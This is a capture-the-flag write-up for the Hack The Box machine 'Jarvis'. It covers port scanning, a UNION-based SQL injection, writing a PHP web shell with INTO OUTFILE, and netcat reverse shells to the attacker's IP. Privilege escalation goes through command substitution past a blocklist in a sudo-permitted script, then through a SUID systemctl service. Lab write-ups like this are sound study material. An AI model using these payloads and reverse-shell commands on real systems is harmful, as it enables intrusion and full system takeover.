Nmap
Port 80
Exploitation
SQL Injection
SQL Injection to RCE
Post exploitation
Privilege escalation: www-data to pepper
Sudo
Privilege escalation: pepper to root
SUID
Welcome to the Jarvis writeup from HTB
I hope you enjoy reading it. Any feedback will be appreciated! @x4v1l0k
Jarvis
tags: HTB
Medium
Linux
OSCP
Platform: Hackthebox
Difficult: Medium
S.O.: Linux
Link: Click here
Enumeration
Nmap
To get started, we run a quick open ports scan.
$ nmap -p- -T4 10.10.10.143
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-06 19:03 CEST
Nmap scan report for 10.10.10.143
Host is up (0.094s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
64999/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 95.70 seconds
Now that we know the open ports, let's scan them in depth.
$ nmap -A -Pn -p 22,80,64999 10.10.10.143
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-06 19:06 CEST
Nmap scan report for 10.10.10.143
Host is up (0.094s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
| 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_ 256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
64999/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn´t have a title (text/html).
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.13 (94%), Linux 3.16 (94%), Linux 4.2 (94%), Linux 3.18 (93%), Linux 4.8 (93%), Linux 4.9 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 94.51 ms 10.10.14.1
2 94.55 ms 10.10.10.143
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.03 seconds
Port 80
In the header of the page we can see a domain name supersecurehotel.htb
so we add it to our /etc/hosts
file.
Now if we click on Rooms
and then on Book Now!
In any room it will take us to a URL with the parameter cod
on which if we add a quote '
we can see that it does not show result so perhaps we can inject SQL.
Exploitation
SQL Injection
Well testing one by one now we know that the table has 7 columns and that we can see the result of columns 2, 3, 4 and 5.
http://supersecurehotel.htb/room.php?cod=-1+UNION+SELECT+1,2,3,4,5,6,7--+-
Now we are going to see what tables there are and what columns the table has.
http://supersecurehotel.htb/room.php?cod=-1+UNION+SELECT+1,2,3,4,group_concat(DISTINCT%20table_name+SEPARATOR+%27%3Cbr%3E%27),6,7+FROM+information_schema.tables--+-
And we get this list
room
We are going to list the columns of the room
table.
http://supersecurehotel.htb/room.php?cod=-1+UNION+SELECT+1,2,3,4,group_concat(DISTINCT%20column_name+SEPARATOR+%27%3Cbr%3E%27),6,7+FROM+information_schema.columns+where+table_name+=+%27room%27--+-
Nothing interesting...
cod
name
price
descrip
star
image
mini
SQL Injection to RCE
We will try to get RCE
http://supersecurehotel.htb/room.php?cod=-1+UNION+SELECT+null,null,null,null,null,null,%22%3C?php%20system($_GET[%27cmd%27]);%20?%3E%22+into+outfile+%22/var/www/html/x4v1l0k.php%22--+-
And we have RCE!
$ curl http://supersecurehotel.htb/x4v1l0k.php?cmd=id
\N \N \N \N \N \N uid=33(www-data) gid=33(www-data) groups=33(www-data)
And now, it's time to get a shell.
With a terminal listening, we run our shell on the RCE.
$ curl http://supersecurehotel.htb/x4v1l0k.php?cmd=nc+10.10.14.13+8787+-e+/bin/bash
$ nc -lnvp 8787
listening on [any] 8787 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.10.143] 47152
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Post exploitation
Privilege escalation: www-data to pepper
Sudo
www-data@jarvis:/var/www/html$ sudo -l
Matching Defaults entries for www-data on jarvis:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on jarvis:
(pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
Let's see the content of the script.
#!/usr/bin/env python3
from datetime import datetime
import sys
import os
from os import listdir
import re
def show_help():
message='''
********************************************************
* Simpler - A simple simplifier ;) *
* Version 1.0 *
********************************************************
Usage: python3 simpler.py [options]
Options:
-h/--help : This help
-s : Statistics
-l : List the attackers IP
-p : ping an attacker IP
'''
print(message)
def show_header():
print('''***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es
***********************************************
''')
def show_statistics():
path = '/home/pepper/Web/Logs/'
print('Statistics\n-----------')
listed_files = listdir(path)
count = len(listed_files)
print('Number of Attackers: ' + str(count))
level_1 = 0
dat = datetime(1, 1, 1)
ip_list = []
reks = []
ip = ''
req = ''
rek = ''
for i in listed_files:
f = open(path + i, 'r')
lines = f.readlines()
level2, rek = get_max_level(lines)
fecha, requ = date_to_num(lines)
ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
if fecha > dat:
dat = fecha
req = requ
ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
if int(level2) > int(level_1):
level_1 = level2
ip_list = [ip]
reks=[rek]
elif int(level2) == int(level_1):
ip_list.append(ip)
reks.append(rek)
f.close()
print('Most Risky:')
if len(ip_list) > 1:
print('More than 1 ip found')
cont = 0
for i in ip_list:
print(' ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])
cont = cont + 1
print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req)
def list_ip():
print('Attackers\n-----------')
path = '/home/pepper/Web/Logs/'
listed_files = listdir(path)
for i in listed_files:
f = open(path + i,'r')
lines = f.readlines()
level,req = get_max_level(lines)
print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level)
f.close()
def date_to_num(lines):
dat = datetime(1,1,1)
ip = ''
req=''
for i in lines:
if 'Level' in i:
fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0]
regex = '(\d+)-(.*)-(\d+)(.*)'
logEx=re.match(regex, fecha).groups()
mes = to_dict(logEx[1])
fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3]
fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S')
if fecha > dat:
dat = fecha
req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10]
return dat, req
def to_dict(name):
month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'}
return month_dict[name]
def get_max_level(lines):
level=0
for j in lines:
if 'Level' in j:
if int(j.split(' ')[4]) > int(level):
level = j.split(' ')[4]
req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10]
return level, req
def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
exit()
os.system('ping ' + command)
if __name__ == '__main__':
show_header()
if len(sys.argv) != 2:
show_help()
exit()
if sys.argv[1] == '-h' or sys.argv[1] == '--help':
show_help()
exit()
elif sys.argv[1] == '-s':
show_statistics()
exit()
elif sys.argv[1] == '-l':
list_ip()
exit()
elif sys.argv[1] == '-p':
exec_ping()
exit()
else:
show_help()
exit()
If we look at the ping function, it prevents us from concatenating commands using:
forbidden = ['&', ';', '-', '`', '||', '|']
But it does not prevent us from executing embedded commands 😄
We are going to create a script that runs a reverse shell.
www-data@jarvis:/var/www/html$ echo -e "nc 10.10.14.13 8788 -e /bin/bash" > /tmp/shell.sh
www-data@jarvis:/var/www/html$ chmod 777 /tmp/shell.sh
And now with a terminal listening, we are going to execute the script passing it our payload.
www-data@jarvis:/var/www/html$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es
***********************************************
Enter an IP: $(/tmp/shell.sh)
$ nc -lnvp 8788
listening on [any] 8788 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.10.143] 37966
id
uid=1000(pepper) gid=1000(pepper) groups=1000(pepper)
pepper@jarvis:~$ cat user.txt
CENSORED_FLAG
Privilege escalation: pepper to root
SUID
pepper@jarvis:~$ find / -perm /4000 2>/dev/null
/bin/fusermount
/bin/mount
/bin/ping
/bin/systemctl
/bin/umount
/bin/su
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/chfn
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
Oops, systemctl
has SUID.
We can follow the steps indicated by GTFOBins to execute commands as root and thus execute a shell.
pepper@jarvis:~$ TF=$(mktemp).service
pepper@jarvis:~$ echo '[Service]
> Type=oneshot
> ExecStart=/bin/sh -c "nc 10.10.14.13 8789 -e /bin/bash"
> [Install]
> WantedBy=multi-user.target' > $TF
pepper@jarvis:~$ systemctl link $TF
Created symlink /etc/systemd/system/tmp.CfyXsquGwP.service → /tmp/tmp.CfyXsquGwP.service.
Now with a terminal listening, we activate the created service.
pepper@jarvis:~$ systemctl enable --now $TF
Created symlink /etc/systemd/system/multi-user.target.wants/tmp.CfyXsquGwP.service → /tmp/tmp.CfyXsquGwP.service.
$ nc -lnvp 8789
listening on [any] 8789 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.10.143] 54072
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
CENSORED_FLAG
I have to admit that I really enjoyed this box! And it seems that I have had more luck than Ultron and I have managed to take control of Jarvis completely!